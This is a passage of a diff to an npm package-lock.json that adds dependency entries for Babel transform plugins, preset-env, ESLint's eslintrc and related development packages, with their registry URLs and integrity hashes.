"node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz", + "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.5.tgz", + "integrity": "sha512-GfqcFuGW8vnEqTUBM7UtPd5A4q797LTvvwKxXTgRsFjoqaJiEg9deBG6kWeQYkVEL569NpnmpC0Pkr/8BLKGnQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz", + "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz", + "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz", + "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==", + "dev": true, + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz", + "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz", + "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz", + "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz", + "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz", + "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz", + "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz", + "integrity": "sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==", + "dev": true, + "dependencies": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz", + "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz", + "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz", + "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.6.tgz", + "integrity": "sha512-Vd5HiWml0mDVtcLHIoEU5sw6HOUW/Zk0acLs/SAeuLzkGNOPc9DB4nkUajemhCmTIz3eiaKREZn2hQQqF79YTg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz", + "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz", + "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.5.tgz", + "integrity": "sha512-rR7KePOE7gfEtNTh9Qw+iO3Q/e4DEsoQ+hdvM6QUDH7JRJ5qxq5AA52ZzBWbI5i9lfNuvySgOGP8ZN7LAmaiPw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz", + "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz", + "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz", + "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz", + "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz", + "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz", + "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.5.tgz", + "integrity": "sha512-biEmVg1IYB/raUO5wT1tgfacCef15Fbzhkx493D3urBI++6hpJ+RFG4SrWMn0NEZLfvilqKf3QDrRVZHo08FYg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz", + "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.15.8.tgz", + "integrity": "sha512-rCC0wH8husJgY4FPbHsiYyiLxSY8oMDJH7Rl6RQMknbN9oDDHhM9RDFvnGM2MgkbUJzSQB4gtuwygY5mCqGSsA==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.15.0", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-option": "^7.14.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.15.4", + "@babel/plugin-proposal-async-generator-functions": "^7.15.8", + "@babel/plugin-proposal-class-properties": "^7.14.5", + "@babel/plugin-proposal-class-static-block": "^7.15.4", + "@babel/plugin-proposal-dynamic-import": "^7.14.5", + "@babel/plugin-proposal-export-namespace-from": "^7.14.5", + "@babel/plugin-proposal-json-strings": "^7.14.5", + "@babel/plugin-proposal-logical-assignment-operators": "^7.14.5", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.5", + "@babel/plugin-proposal-numeric-separator": "^7.14.5", + "@babel/plugin-proposal-object-rest-spread": "^7.15.6", + "@babel/plugin-proposal-optional-catch-binding": "^7.14.5", + "@babel/plugin-proposal-optional-chaining": "^7.14.5", + "@babel/plugin-proposal-private-methods": "^7.14.5", + "@babel/plugin-proposal-private-property-in-object": "^7.15.4", + "@babel/plugin-proposal-unicode-property-regex": "^7.14.5", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-transform-arrow-functions": "^7.14.5", + "@babel/plugin-transform-async-to-generator": "^7.14.5", + "@babel/plugin-transform-block-scoped-functions": "^7.14.5", + "@babel/plugin-transform-block-scoping": "^7.15.3", + "@babel/plugin-transform-classes": "^7.15.4", + "@babel/plugin-transform-computed-properties": "^7.14.5", + "@babel/plugin-transform-destructuring": "^7.14.7", + "@babel/plugin-transform-dotall-regex": "^7.14.5", + "@babel/plugin-transform-duplicate-keys": "^7.14.5", + "@babel/plugin-transform-exponentiation-operator": "^7.14.5", + "@babel/plugin-transform-for-of": "^7.15.4", + "@babel/plugin-transform-function-name": "^7.14.5", + "@babel/plugin-transform-literals": "^7.14.5", + "@babel/plugin-transform-member-expression-literals": "^7.14.5", + "@babel/plugin-transform-modules-amd": "^7.14.5", + "@babel/plugin-transform-modules-commonjs": "^7.15.4", + "@babel/plugin-transform-modules-systemjs": "^7.15.4", + "@babel/plugin-transform-modules-umd": "^7.14.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.14.9", + "@babel/plugin-transform-new-target": "^7.14.5", + "@babel/plugin-transform-object-super": "^7.14.5", + "@babel/plugin-transform-parameters": "^7.15.4", + "@babel/plugin-transform-property-literals": "^7.14.5", + "@babel/plugin-transform-regenerator": "^7.14.5", + "@babel/plugin-transform-reserved-words": "^7.14.5", + "@babel/plugin-transform-shorthand-properties": "^7.14.5", + "@babel/plugin-transform-spread": "^7.15.8", + "@babel/plugin-transform-sticky-regex": "^7.14.5", + "@babel/plugin-transform-template-literals": "^7.14.5", + "@babel/plugin-transform-typeof-symbol": "^7.14.5", + "@babel/plugin-transform-unicode-escapes": "^7.14.5", + "@babel/plugin-transform-unicode-regex": "^7.14.5", + "@babel/preset-modules": "^0.1.4", + "@babel/types": "^7.15.6", + "babel-plugin-polyfill-corejs2": "^0.2.2", + "babel-plugin-polyfill-corejs3": "^0.2.5", + "babel-plugin-polyfill-regenerator": "^0.2.2", + "core-js-compat": "^3.16.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", + "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/register": { + "version": "7.15.3", + "resolved": "https://registry.npmjs.org/@babel/register/-/register-7.15.3.tgz", + "integrity": "sha512-mj4IY1ZJkorClxKTImccn4T81+UKTo4Ux0+OFSV9hME1ooqS9UV+pJ6BjD0qXPK4T3XW/KNa79XByjeEMZz+fw==", + "dev": true, + "dependencies": { + "clone-deep": "^4.0.1", + "find-cache-dir": "^2.0.0", + "make-dir": "^2.1.0", + "pirates": "^4.0.0", + "source-map-support": "^0.5.16" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==", + "dev": true + }, + "node_modules/@babel/runtime": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.6.tgz", + "integrity": "sha512-wDb5pWm4WDdF6LFUde3Jl8WzPA+3ZbxYqkC6xAXuD3irdEHN1k0NfTRrJD8ZD378SJ61miMLCqIOXYhd8x+AJQ==", + "dev": true, + "dependencies": { + "regenerator-runtime": "^0.13.11" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz", + "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.5", + "@babel/parser": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.22.8", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.8.tgz", + "integrity": "sha512-y6LPR+wpM2I3qJrsheCTwhIinzkETbplIgPBbwvqPKc+uljeA5gP+3nP8irdYt1mjQaDnlIcG+dw8OjAco4GXw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.7", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.22.7", + "@babel/types": "^7.22.5", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.5.tgz", + "integrity": "sha512-zo3MIHGOkPOfoRXitsgHLjEXmlDaD/5KU1Uzuc9GNiZPhSqVxVRtxuPaSBZDsYZ9qV88AjtMtWW7ww98loJ9KA==", + "dev": true, + "dependencies": { + "@babel/helper-string-parser": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.4.1.tgz", + "integrity": "sha512-XXrH9Uarn0stsyldqDYq8r++mROmWRI1xKMXa640Bb//SY1+ECYX6VzT6Lcx5frD0V30XieqJ0oX9I2Xj5aoMA==", + "dev": true, + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.4.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "13.20.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/eslintrc/node_modules/ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/@eslint/eslintrc/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz", + "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==", + "dev": true, + "dependencies": { + "@humanwhocodes/object-schema": "^1.2.0", + "debug": "^4.1.1", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "dev": true + }, + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dev": true, + "dependencies": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": 